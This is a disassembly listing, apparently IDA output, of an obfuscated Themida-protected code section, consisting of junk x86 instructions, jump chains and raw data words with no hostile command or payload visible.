		dd 972Bh, 0DB66FEB9h, 0CFA0BA68h, 29E902A4h, 0BF000008h
		dd 5E874E18h, 8102E7C1h, 0AF5BEDE7h, 0D4EF8105h, 0E99D3B05h
		dd 40CDh, 5C243C33h, 0B80DE9h
		db 0
; ---------------------------------------------------------------------------

loc_5660AD:				; CODE XREF: Themida_:00567254j
		mov	[esp], edx
		jmp	loc_569719
; ---------------------------------------------------------------------------

loc_5660B5:				; CODE XREF: Themida_:005721BBj
		pop	ebp
		push	7F2Ch
		mov	[esp], edx
		mov	edx, 4
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 0EE93934h
		sub	edi, 0FA0B218Fh
		shl	edi, 8
		shl	edi, 7
		shl	edi, 1
		jmp	loc_56A112
; ---------------------------------------------------------------------------
		dd 4C481h, 0E9C10000h, 0BD554106h, 0E728FDh, 0A68DE9h
		dd 2B900h, 17E90000h, 0D2000026h, 0E99C242Ch, 0FFFF7761h
		dd 0E9DE295Dh, 6A6Eh, 4C481h, 0C4830000h, 6B58E904h, 89530000h
		dd 4C381E3h, 81000000h,	4C3h, 241C8700h, 0FFCB72E9h, 243433FFh
		dd 33243431h, 895C2434h, 0BA522424h, 4,	4245401h, 24048F5Ah
		dd 0E9E38953h, 1E5Ch, 0E9BECC80h, 8C09h, 777BC5BBh, 5BD8290Ch
		dd 81E78957h, 4C7h, 4BD5500h, 0E9000000h, 0FFFFEA9Ah
; ---------------------------------------------------------------------------

loc_566180:				; CODE XREF: Themida_:00568958j
		sub	edi, 1EEF1005h
		sub	edi, 0B13B6F85h
		sub	ebp, edi
		jmp	loc_5702F2
; ---------------------------------------------------------------------------
		db 54h
		dd 4B8505Ah, 1000000h, 0C28358C2h, 24148704h, 5724248Bh
		dd 2BFh, 5FFE0100h, 7095E9h, 0D6EB8100h, 15D7D57h, 0D6C381C3h
		dd 8B5D7D57h, 0C4832404h, 75B86804h, 0F5E90000h, 55FFFFC6h
		dd 9ADEE9h, 7FB95100h, 0E976E668h, 4ED6h, 0F53098BBh, 245C297Ah
		dd 8B595B08h, 89532434h, 8519E9E3h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5661FA:				; CODE XREF: Themida_:00567D03j
		mov	eax, 0C1FD3E78h
		push	esi
		jmp	loc_563345
; ---------------------------------------------------------------------------

loc_566205:				; CODE XREF: Themida_:0056BBF4j
		add	ecx, 6D886CAAh
		pop	edx
		xchg	ecx, [esp]
		mov	esp, [esp]
		jmp	loc_560695
; ---------------------------------------------------------------------------

loc_566217:				; CODE XREF: Themida_:00562EA5j
		mov	[esp], edx
		push	eax
		push	19CF1B02h
		push	dword ptr [esp]
		pop	eax
		push	ebp
		jmp	loc_56A09E
; ---------------------------------------------------------------------------
		dw 0FF04h
		dd 562CD0F6h, 0FFF92CE9h, 0E0B68FFh, 2C890000h,	665CBD24h
		dd 0EB29754Ah, 0FF54555Dh, 0E95D2434h, 8BCAh, 59BCC380h
		dd 0A5C380h, 0A5EB80C3h, 283EB551h, 4124E9EBh, 0D6290000h
		dd 4300E95Ah, 61BD0000h, 0E969147Fh, 0FFFFD375h, 68242C89h
		dd 2C2C6D64h, 8EDC15Dh,	8904EC83h, 1BF243Ch, 0E9524D37h
		dd 8C5Bh, 4244C01h, 0FF46E953h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56629E:				; CODE XREF: Themida_:0056C384j
		add	esp, 4
		xchg	esi, ecx
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		jmp	loc_560A15
; ---------------------------------------------------------------------------

loc_5662B1:				; CODE XREF: Themida_:00571A8Fj
		add	ebx, 4
		push	esi
		mov	esi, 4
		jmp	loc_566D68
; ---------------------------------------------------------------------------
aPsv		db 'PИ╒╨',0
		align 4
aSig		db '[ИiG',0
		align 2

loc_5662CE:				; CODE XREF: Themida_:0055FF03j
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_565C3F
; ---------------------------------------------------------------------------

loc_5662E5:				; CODE XREF: Themida_:0057143Fj
		sub	ebp, 378878CAh
		jmp	loc_55EA75
; ---------------------------------------------------------------------------
		dd 5505E8C1h, 0AC44A1BDh, 34420506h, 16E94E47h,	81FFFFA3h
		dd 4C1h, 4C18300h, 0FF8C0AE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_566311:				; CODE XREF: Themida_:0055E284j
		jmp	loc_55D86D
; ---------------------------------------------------------------------------
		dw 0EB81h
		dd 7EF83C1Bh, 241C335Eh, 2B55E9h, 240CFF00h, 4EC815Bh
		dd 89000000h, 0B7E9243Ch, 8900004Bh, 0E789243Ch, 8904EC83h
		dd 44E92434h, 1FFFF7Ch,	0CB015EF3h, 14C9E952h, 34FF0000h
		dd 0A7A0E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_56635A:				; CODE XREF: Themida_:0056B7ACj
		shl	ecx, 2
		push	ebp
		jmp	loc_561C57
; ---------------------------------------------------------------------------
		db 8Fh
		dd 895C2404h, 0FEE92404h
		db 74h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56636F:				; CODE XREF: Themida_:0056E74Fj
		push	edx
		push	ax
		jmp	loc_56B96C
; ---------------------------------------------------------------------------

loc_566377:				; CODE XREF: Themida_:00568AA6j
		mov	[esp], ebx
		jmp	loc_56FB1F
; ---------------------------------------------------------------------------
aSR		db ']И╢r',0
		dd 58C23000h, 9E4AE951h, 0F9010000h, 4C1815Fh, 0E9000000h
		dd 0B3h, 4244481h, 4BBF21ABh, 5124148Bh, 0C181E189h, 4
		dd 0E904C183h, 0FFFF8AE1h, 881EF680h, 94C9E9F1h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5663C2:				; CODE XREF: Themida_:0056646Ej
		push	7C8Bh
		mov	[esp], edx
		mov	edx, 7D5B5798h
		jmp	loc_56B8E0
; ---------------------------------------------------------------------------
		dd 83240C8Bh, 0A7E904C4h, 5FFFFC0h, 4, 23A8E9h,	0F2815B00h
		dd 42A7665Ah, 8103EAC1h, 7E04EEC2h, 5AD70127h, 1A5768h
		dd 240C8900h, 375324B9h, 0AB5DE93Fh, 0F660000h,	5166C8AFh
		dd 0AA44E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56641A:				; CODE XREF: Themida_:00567330j
		add	edx, eax
		add	edx, 313100F6h
		mov	eax, [esp]
		push	edi
		mov	edi, esp
		jmp	loc_563D6E
; ---------------------------------------------------------------------------
		db 5Dh,	56h, 53h
		dd 4871D4BBh, 5BDE891Ah, 9DEE681h, 0CE814A2Dh, 73FB48A1h
		dd 32D5CE81h, 0B6E97629h, 5100007Ah, 42474FFh, 24048F59h
		dd 0FFACD4E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56645D:				; CODE XREF: Themida_:00564055j
		mov	ebx, [esp]
		add	esp, 4
		xor	eax, 431C311Fh
		xor	ebp, eax
		pop	eax
		jmp	loc_5663C2
; ---------------------------------------------------------------------------
		db 89h
		dd 0E95553E7h, 16E0h, 27DF6866h, 240C8966h, 0C8E994B1h
		db 4Bh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_56648B:				; CODE XREF: Themida_:0056E55Ej
		add	[esp+4], eax
		jmp	loc_5712DD
; ---------------------------------------------------------------------------

loc_566494:				; CODE XREF: Themida_:00562A2Bj
		xor	esi, ebp
		pop	ebp
		sub	edi, 55CF1E9Bh
		add	edi, esi
		push	eax
		push	edi
		mov	edi, 16CD7E3Ch
		shr	edi, 7
		not	edi
		jmp	loc_56093D
; ---------------------------------------------------------------------------
		dd 0E9240C8Bh, 0AF51h, 1E3CBD55h, 0EDC1731Dh, 9BF58105h
		dd 56484C6Bh, 0B9065CBEh, 9BCFE942h, 0C7890000h, 0E924048Bh
		dd 0FFFFFC46h
; ---------------------------------------------------------------------------

loc_5664DC:				; CODE XREF: Themida_:00570B24j
		mov	eax, 4
		add	ebp, 644F4DC8h
		jmp	loc_570477
; ---------------------------------------------------------------------------
		dd 6E49EF81h, 0BE563BE3h, 46CE313Dh, 0B8E9F701h
		db 0ADh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5664FF:				; CODE XREF: Themida_:0056D461j
		pop	ebx
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ebp
		push	ecx
		push	6A3E06F8h
		push	dword ptr [esp]
		pop	ecx
		push	eax
		jmp	loc_56CDF2
; ---------------------------------------------------------------------------
		db 81h
		dd 4C7h, 4C78300h, 31243C33h, 79E9243Ch, 89FFFFFBh, 150868E0h
		dd 0C890000h, 0B7F1E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56653A:				; CODE XREF: Themida_:00569042j
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_56C7DC
; ---------------------------------------------------------------------------

loc_56654F:				; CODE XREF: Themida_:00569F46j
		mov	ebp, 7E49355Ch
		sub	ebp, 7E493558h
		add	ebx, ebp
		pop	ebp
		add	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		jmp	loc_566AD8
; ---------------------------------------------------------------------------
		dw 835Eh
		dd 0FFE902C5h, 1FFFF8Dh, 59EA81C2h, 813D4223h, 386438EAh
		dd 0FF2EE935h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56658A:				; CODE XREF: Themida_:00567766j
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		push	6CD7h
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], esp
		push	edi
		mov	edi, 4
		add	[esp+4], edi
		pop	edi
		pop	ecx
		jmp	loc_56EFFE
; ---------------------------------------------------------------------------
		dw 0C681h
		dd 4, 8704C683h, 0E95C2434h, 0FFFFA3B4h, 889DF780h, 53665BFAh
		dd 0D8288BB3h, 25045B66h, 0FF7CA4E9h, 5BD801FFh, 405h
		dd 74FF5000h, 0E9580424h, 10BDh
; ---------------------------------------------------------------------------

loc_5665F8:				; CODE XREF: Themida_:005689B5j
		pop	edi
		push	dword ptr [esp]
		jmp	loc_569013
; ---------------------------------------------------------------------------
		db 2Dh,	42h, 34h
		dd 2C8B4E47h, 0F0E95524h, 0F700008Ch, 3E7C1D7h,	0B7D4F781h
		dd 31E98A90h
		db 0B6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56661F:				; CODE XREF: Themida_:00569E8Bj
		xor	esi, 143F1D9Dh
		shr	esi, 8
		sub	esi, 43923524h
		push	ebx
		mov	ebx, 4461690Eh
		add	ebx, 38716C72h
		shr	ebx, 2
		jmp	loc_56E189
; ---------------------------------------------------------------------------
		dw 0C181h
		dd 4, 0E904C183h, 0FFFFB81Bh, 22EF68h, 242C8900h, 0C581E589h
		dd 4, 4BA52h, 0D5010000h, 242C875Ah, 68F1F75Ch,	2C7h, 50241489h
		dd 71EFE99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56667E:				; CODE XREF: Themida_:00572625j
		sub	esp, 4
		push	esp
		pop	dword ptr [esp]
		jmp	loc_560EA2
; ---------------------------------------------------------------------------

loc_56668D:				; CODE XREF: Themida_:00567ABAj
		mov	[esp], edx
		mov	edx, 4
		add	esi, 5DE832E9h
		add	esi, edx
		sub	esi, 5DE832E9h
		mov	edx, [esp]
		add	esp, 4
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		mov	esp, [esp]
		xor	esi, 417D003Bh
		jmp	loc_5606DA
; ---------------------------------------------------------------------------

loc_5666C3:				; CODE XREF: Themida_:00564D4Aj
		pop	edx
		add	esp, 4
		jmp	loc_56850D
; ---------------------------------------------------------------------------
		db 5
		dd 76085F61h, 59177D2Dh, 4591E914h, 0E95B0000h,	3BF8h
		dd 1C8BDF01h, 74E9E924h, 0E95D0000h, 214Bh, 2CE3E95Fh
		dd 0E2890000h, 4825E9h,	0DDB95100h, 8926C259h, 10E959CFh
		db 0ADh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56670F:				; CODE XREF: Themida_:0056F9D8j
		sub	dh, 18h
		push	2B5Ah
		mov	[esp], eax
		mov	ah, 0EEh
		add	dh, ah
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_568E5C
; ---------------------------------------------------------------------------
		db 2Dh,	0DFh, 1Ah
		dd 0DA2D1D6Ch, 2D183153h, 68C7001Dh, 6774AC05h,	2DF02957h
		dd 576774ACh, 50EDBD55h, 0F581789Bh, 105C50F0h,	0FFBAE1E9h
		dd 4BD55FFh, 29000000h,	88E95DEBh
		db 49h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_566763:				; CODE XREF: Themida_:00562300j
		mov	eax, edi
		pop	edi
		jmp	loc_55DAE7
; ---------------------------------------------------------------------------
		db 5Eh
		dd 0F746D6F7h, 56EE81DEh, 89022AB9h, 24348BF3h,	81E38953h
		dd 4C3h, 4C38100h, 87000000h, 815C241Ch, 0FA6344F3h, 3611E920h
		dd 0C1810000h, 0E08592Ah, 15ABC181h, 0E90112E0h, 15ABE981h
		dd 0E98112E0h, 0E08592Ah, 0AE43E9h, 0E932FF00h,	0FFFF70ADh
		dd 48BC228h, 9EDCE924h,	0C1810000h, 4, 0FF9093E9h, 0C3015EFFh
		dd 6B47E9h, 2434FF00h, 0A1FBE9h, 81E28900h, 4C2h, 4EA8300h
		dd 5C241487h, 0E9243C89h, 7030h, 0E02C89B8h, 58C7015Ch
		dd 3CC181h, 0F9010006h,	3CE981h, 0E95F0006h, 9FCBh, 0EB92BD55h
		dd 0D8E99EA1h, 89000023h, 4C281E2h, 83000000h, 0AEE904EAh
		db 75h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_566833:				; CODE XREF: Themida_:00569132j
		pop	edx
		sub	ebx, 49AE3BD5h
		xor	ebx, 827C598h
		xor	ecx, ebx
		jmp	loc_563696
; ---------------------------------------------------------------------------
		db 81h
		dd 0D3525AC3h, 0D5EB8153h, 5E0DDC1Fh, 0FFD459E9h, 240C33FFh
		dd 0E924248Bh, 3E35h, 0CE40B1B9h, 0E9D1F741h, 51E3h, 4240481h
		dd 0FF000000h, 0E95F2434h, 0A64Fh, 4C181h, 0C1830000h
		dd 9A0EE904h, 9A68FFFFh, 8900007Bh, 6668241Ch, 89000036h
		dd 0CA882414h, 34FFD788h, 0E9565A24h, 0FFFF767Dh
; ---------------------------------------------------------------------------

loc_5668AC:				; CODE XREF: Themida_:005658ADj
		shr	esi, 3
		jmp	loc_56BA38
; ---------------------------------------------------------------------------
		dd 0E959CA01h, 0FFFF7019h, 0EC80E4D0h, 6D8DE9F6h, 0D9290000h
		dd 0E9F9295Bh, 9585h, 8124248Bh, 4C6h, 3BE95300h, 0BAFFFF70h
		dd 1, 815AD501h, 0E42E90F5h, 5DE8297Bh,	0FF7C11E9h, 1C77FFFFh
		dd 419589Dh, 6AE99C24h,	68FFFF6Fh, 1C2Ch, 6B968h, 24248900h
		dd 4240481h, 8F000000h,	4832404h, 0AEE90424h, 51000061h
		dd 4B9h, 59C80100h, 6EFD68h, 864E900h, 0E7C10000h, 9ECF8108h
		dd 0E934B351h, 961Ah
; ---------------------------------------------------------------------------

loc_566944:				; CODE XREF: Themida_:00561E12j
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], esi
		push	6B1B52CDh
		pop	esi
		sub	esi, 1
		push	esi
		push	eax
		pop	esi
		mov	eax, [esp]
		jmp	loc_55F785
; ---------------------------------------------------------------------------
		db 57h
		dd 2B24DBFh, 8BFA01F4h,	0F2E9243Ch, 51000040h, 4B9h, 0E9CE0100h
		dd 0FFFF763Fh, 7D0BC735h, 64BA5212h, 29BF51CBh,	0C6815AD0h
		dd 10360F60h, 0EE81C601h, 10360F60h, 0FFC4B5E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56699D:				; CODE XREF: Themida_:00571EE8j
		add	eax, ebp
		jmp	loc_561577
; ---------------------------------------------------------------------------

loc_5669A4:				; CODE XREF: Themida_:00568164j
		or	ecx, 4DFB27DAh
		shr	ecx, 7
		push	ebx
		jmp	loc_55FB9B
; ---------------------------------------------------------------------------
		db 5Ah
		dd 0E389534Eh, 4C381h, 0EB810000h, 4, 5C241C87h, 0E9243489h
		dd 0FFFF9B35h
; ---------------------------------------------------------------------------

loc_5669D0:				; CODE XREF: Themida_:0056ADDAj
		push	esp
		pop	esi
		push	ebp
		push	edi
		mov	edi, 61FF14BDh
		neg	edi
		dec	edi
		push	eax
		mov	eax, 2A55A49h
		xor	eax, 5B47315Fh
		dec	eax
		shl	eax, 2
		jmp	loc_5647BD
; ---------------------------------------------------------------------------

loc_5669F0:				; CODE XREF: Themida_:00563F83j
		sub	eax, 37B854AAh
		push	323Fh
		mov	[esp], eax
		xor	dword ptr [esp], 6E21627Eh
		mov	ecx, [esp]
		add	esp, 4
		xor	ecx, 6E21627Eh
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		and	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		push	0A0Bh
		mov	[esp], esi
		push	0FFFFFFFFh
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	esi
		push	esi
		mov	esi, esp
		add	esi, 4
		push	516Eh
		mov	[esp], ebp
		push	ebx
		push	2BBEh
		mov	[esp], eax
		mov	eax, 66CE254Fh
		mov	ebx, eax
		pop	eax
		xor	ebx, 44E77893h
		mov	ebp, ebx
		jmp	loc_56ED44
; ---------------------------------------------------------------------------
		db 87h,	34h, 24h
		dd 50F685Ch, 3C890000h,	815F5424h, 4C7h, 52C16800h, 28E90000h
		db 7Eh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_566A87:				; CODE XREF: Themida_:00571764j
		not	al
		inc	al
		sub	esp, 4
		mov	[esp], edx
		push	eax
		mov	al, 60h
		jmp	loc_568653
; ---------------------------------------------------------------------------
		db 52h,	89h, 0E2h
		dd 4EC81h, 0C890000h, 0D94AE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_566AAA:				; CODE XREF: Themida_:00562E94j
		pop	eax
		pop	dword ptr [esp]
		pop	esp
		or	eax, eax
		jz	loc_5629F5
		push	dword ptr [edi+1Ch]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 4
		sub	ebx, ebp
		jmp	loc_56D396
; ---------------------------------------------------------------------------

loc_566AD8:				; CODE XREF: Themida_:00566569j
		mov	eax, [esp]
		add	esp, 4
		push	esi
		mov	esi, 0ECE4D59h
		jmp	loc_56197F
; ---------------------------------------------------------------------------
aAacSal		db '╤A─ФуИ═l',0
		dw 0AC00h
		dd 4EC81h, 1C890000h, 0E95B5424h, 0FFFFCEE6h, 0CBD7E95Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_566B0A:				; CODE XREF: Themida_:00570D1Aj
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		push	esi
		jmp	loc_56470D
; ---------------------------------------------------------------------------
		db 52h
		dd 0C281E289h, 4, 979EE956h, 0D101FFFFh, 0E924148Bh, 0FFFFF32Bh
; ---------------------------------------------------------------------------

loc_566B30:				; CODE XREF: Themida_:0055DB8Cj
		add	al, 0ADh
		sub	al, dl
		sub	al, 0ADh
		mov	dx, [esp]
		push	5689h
		mov	[esp], ebx
		mov	ebx, esp
		push	5A00h
		jmp	loc_56895D
; ---------------------------------------------------------------------------
		dw 74FFh
		dd 34FF0424h, 89505E24h, 405E0h, 91E90000h
		db 4Bh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_566B63:				; CODE XREF: Themida_:005620A8j
		pop	ecx
		jmp	loc_56B14B
; ---------------------------------------------------------------------------
		db 58h,	55h, 52h
		dd 1D198DBAh, 9FEFE938h, 0FF520000h, 5A042474h,	8B24048Fh
		dd 14892424h, 0BAFDE924h, 5401FFFFh, 6C810824h,	51140824h
		dd 5F5A21DCh, 89240481h, 8134BD28h, 41EC2404h, 481039Ch
		dd 0AC309124h, 24042976h, 91242C81h, 8176AC30h,	41EC242Ch
		dd 0BF57039Ch, 34BD2889h, 4A2CE9h
		db 0
; ---------------------------------------------------------------------------

loc_566BC9:				; CODE XREF: Themida_:0056B1F7j
		pop	ebp
		push	dword ptr [esp]
		pop	eax
		push	2684h
		jmp	loc_56181C
; ---------------------------------------------------------------------------
		dd 4C281h, 0EA830000h, 24148704h, 0FF9B53E9h, 66B704FFh
		dd 663C4968h, 0B3241C89h, 5E3C026h, 73E9CBFEh
		db 0A5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_566BFF:				; CODE XREF: Themida_:0056F0A2j
		inc	ebx
		jmp	loc_5699AD
; ---------------------------------------------------------------------------

loc_566C05:				; CODE XREF: Themida_:0056EC07j
		mov	[esp], ebx
		add	dword ptr [esp], 25FB1D4Bh
		pop	eax
		sub	esp, 4
		jmp	loc_563CF4
; ---------------------------------------------------------------------------
		db 50h
		dd 0F40372B8h, 0E9C2017Ch, 9270h, 2C481h, 0B60F0000h, 8734FFC0h
		dd 0FF6C34E9h, 2434FFFFh, 4C4815Dh, 52000000h, 42474FFh
		dd 24048F5Ah, 241C895Ch, 4DF56866h, 240C8966h, 2E8168h
		dd 5AB5E900h, 9BBB0000h, 0E967F23Ah, 0B281h
; ---------------------------------------------------------------------------

loc_566C6C:				; CODE XREF: Themida_:0056A0B6j
		add	eax, edi
		mov	edi, [esp]
		jmp	loc_56562B
; ---------------------------------------------------------------------------
aAiS0d		db '─К+И0D',0
		align 2
		dw 0E95Ch
		dd 0FFFF99EBh, 365CEE81h, 0C601123Ch, 8AE2E951h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_566C92:				; CODE XREF: Themida_:00562C0Ej
		sub	edx, ebp
		pop	ebp
		jmp	loc_567797
; ---------------------------------------------------------------------------

loc_566C9A:				; CODE XREF: Themida_:005671D9j
		push	0D5C35FFh
		mov	esi, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		not	esi
		inc	esi
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 4E633B3h
		shr	edx, 8
		sub	edx, 0D611C0Eh
		xor	esi, edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_566FF2
; ---------------------------------------------------------------------------
		dw 0C281h
		dd 1DD3086Ch, 0EA81CA29h, 1DD3086Ch, 83240C8Bh,	0CBE904C4h
		db 0A8h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_566CEF:				; CODE XREF: Themida_:005611AAj
		sub	ah, ch
		pop	ecx
		or	dl, ah
		jmp	loc_55F04F
; ---------------------------------------------------------------------------

loc_566CF9:				; CODE XREF: Themida_:00569E56j
		sub	ebx, 3A8E14DBh
		jmp	loc_56A36A
; ---------------------------------------------------------------------------

loc_566D04:				; CODE XREF: Themida_:0056A4BAj
		push	edi
		mov	edi, 1A742D40h
		xor	ebp, edi
		mov	edi, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, 0B11F47C2h
		sub	ebp, ecx
		pop	ecx
		jmp	loc_56C6C0
; ---------------------------------------------------------------------------
		dd 2474FF57h, 48F5F04h,	0F665C24h, 9C2404A3h, 0FF6B38E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_566D35:				; CODE XREF: Themida_:00571199j
		mov	esi, [esp]
		jmp	loc_56B672
; ---------------------------------------------------------------------------
		db 68h,	18h, 36h
		dd 34890000h, 81E68924h, 4C6h, 4C68300h, 31243433h, 34332434h
		dd 0E9505C24h, 1416h, 0E99C5166h, 0FFFF6B05h
; ---------------------------------------------------------------------------

loc_566D68:				; CODE XREF: Themida_:005662BDj
		add	ebx, esi
		pop	esi
		xchg	ebx, [esp]
		mov	esp, [esp]
		add	edi, 4
		push	ebp
		mov	ebp, 2E043549h
		not	ebp
		shl	ebp, 7
		sub	ebp, 39A720FDh
		neg	ebp
		add	ebp, 0E7477F6Dh
		jmp	loc_5712A0
; ---------------------------------------------------------------------------

loc_566D95:				; CODE XREF: Themida_:0056F129j
		push	edx
		mov	edx, 4
		sub	ecx, edx
		pop	edx
		jmp	loc_56E1D8
; ---------------------------------------------------------------------------
aLQsxo		db '▀,$QИ∙o',0
		align 4

loc_566DAC:				; CODE XREF: Themida_:0055E38Aj
		add	ebp, 580154C1h
		add	ebp, edi
		sub	ebp, 580154C1h
		pop	edi
		xchg	ebp, [esp]
		mov	esp, [esp]
		add	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		jmp	loc_571E59
; ---------------------------------------------------------------------------

loc_566DCF:				; CODE XREF: Themida_:0057243Bj
		push	esi
		mov	esi, esp
		add	esi, 4
		push	eax
		mov	eax, 4
		jmp	loc_5693AB
; ---------------------------------------------------------------------------
		db 0B6h
		dd 0F9E68040h, 28B3C680h, 0D8E95AF4h, 8BFFFF77h, 0C4812414h
		dd 4, 0FFEB50E9h, 24048FFFh, 24048F5Ch,	0FFCD7CE9h, 0D9F75EFFh
		dd 1783E181h, 0C18120E2h, 0FF1E0004h, 8359CD01h, 0FF5504EDh
		dd 5D042474h, 0FFDB66E9h, 21BDBDFFh, 0EB314EAFh, 0B525E9h
		dd 58545000h, 405h, 47E95100h
		db 9Ch,	2 dup(0)
; ---------------------------------------------------------------------------

loc_566E47:				; CODE XREF: Themida_:0056AF58j
		push	edx
		mov	edx, 67D5495Dh
		or	edx, 7A5D6945h
		sub	esp, 4
		mov	[esp], esi
		push	eax
		jmp	loc_565D38
; ---------------------------------------------------------------------------
		db 28h
		dd 0FCEB80C3h, 8324048Bh, 0C30004C4h, 0ACB5E9h
		db 0
; ---------------------------------------------------------------------------

loc_566E71:				; CODE XREF: Themida_:00564841j
		xor	ebx, ebp
		jmp	loc_56E891
; ---------------------------------------------------------------------------
		dd 30BBh, 0E9535600h, 0FFFFB7F9h
; ---------------------------------------------------------------------------

loc_566E84:				; CODE XREF: Themida_:0056CCE6j
		xchg	eax, [esp]
		pop	esp
		add	[esp+4], edi
		pop	edi
		mov	eax, [esp]
		sub	esp, 4
		mov	[esp], ebp
		push	esp
		pop	ebp
		push	1A95h
		mov	[esp], ebx
		jmp	loc_56D43B
; ---------------------------------------------------------------------------

loc_566EA5:				; CODE XREF: Themida_:0056E11Bj
		push	ebx
		mov	ebx, 35B73CEFh
		jmp	loc_55D9FA
; ---------------------------------------------------------------------------
		dd 0C058C700h, 0E7C002E7h, 0D330E903h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_566EBE:				; CODE XREF: Themida_:005613E9j
		pop	eax
		or	ecx, ebp
		mov	ebp, [esp]
		add	esp, 4
		shl	ecx, 1
		sub	ecx, 3E90252Eh
		add	ebx, ecx
		jmp	loc_56F61B
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 4
aSbx		db '$Иbx',0
		align 2
		dw 4BFh
		dd 1000000h, 1C875FFBh,	24248B24h, 8124048Bh, 4C4h, 6E906800h
		dd 0C890000h, 4B924h, 0C8010000h, 83240C8Bh, 10E904C4h
		dd 89FFFFFAh, 34FF2404h, 24048B24h, 4EC81h, 4890000h, 0E9E08924h
		dd 0FFFF7BF8h, 0EFEAF781h, 0D9E918A0h, 57000003h, 4BFh
		dd 5FFB2900h, 5C241C87h, 71FBE9h
		db 0
; ---------------------------------------------------------------------------

loc_566F49:				; CODE XREF: Themida_:0055FA94j
		push	5AA9h
		mov	[esp], eax
		mov	eax, 2CF16B59h
		xor	eax, 0E9A78A7h
		dec	eax
		sub	eax, 0CAC2AACh
		add	eax, 0FA11867h
		sub	eax, 6CAE7F00h
		jmp	loc_56BC69
; ---------------------------------------------------------------------------
aIYsD		db '┬*YИе└',0
		align 4
		dd 8BCB015Eh, 8950240Ch, 405E0h, 0C0830000h, 24048704h
		dd 0E702D5Ch, 0D829063Fh, 586DE951h, 815A0000h,	651811EFh
		dd 81F7017Fh, 651811C7h, 0FD895E7Fh, 0FFEE895Fh, 0E95D2434h
		dd 12A7h, 0DBE9E589h, 68FFFF91h, 0CA24FF31h, 9BC18159h
		dd 152A10Ah, 9BE981D9h,	5B52A10Ah, 0C8BCE01h, 4C48324h
		dd 0FFCD3EE9h, 0BAE95AFFh
		db 25h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_566FE7:				; CODE XREF: Themida_:00568E6Cj
		sub	ch, 65h
		sub	ch, 5Ah
		jmp	loc_56A39A
; ---------------------------------------------------------------------------

loc_566FF2:				; CODE XREF: Themida_:00566CD1j
		mov	eax, esi
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		push	ecx
		push	edx
		mov	edx, 173666C4h
		or	edx, 35A13700h
		or	edx, 0CF53783h
		add	edx, 32FDF539h
		mov	ecx, edx
		pop	edx
		add	eax, ecx
		mov	ecx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		jmp	loc_567B05
; ---------------------------------------------------------------------------
		db 8Fh
		dd 6833E902h, 148BFFFFh, 4C48124h, 8B000000h, 0C483242Ch
		dd 7ABE5604h, 4637273Eh, 0AE2EE950h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_567056:				; CODE XREF: Themida_:00561076j
		pop	edx
		sub	ebx, 2FA534F6h
		sub	ebx, ecx
		add	ebx, 2FA534F6h
		jmp	loc_56AF6F
; ---------------------------------------------------------------------------
		dw 0F468h
		dd 0E9000007h, 4A05h, 240C8B66h, 18EDE9h, 0E9EF2900h, 2558h
		dd 3126BF57h, 0FB0135F9h, 68BD555Fh, 815D0420h,	0FB5DBAE5h
		dd 50DDF70Eh, 7A5914B8h, 58C52161h, 8D5ED81h, 0C5815760h
		dd 757F1737h, 515DEB21h, 5BCBBD55h, 3FB9133Ch, 297F3D5Dh
		dd 78E3E9E9h
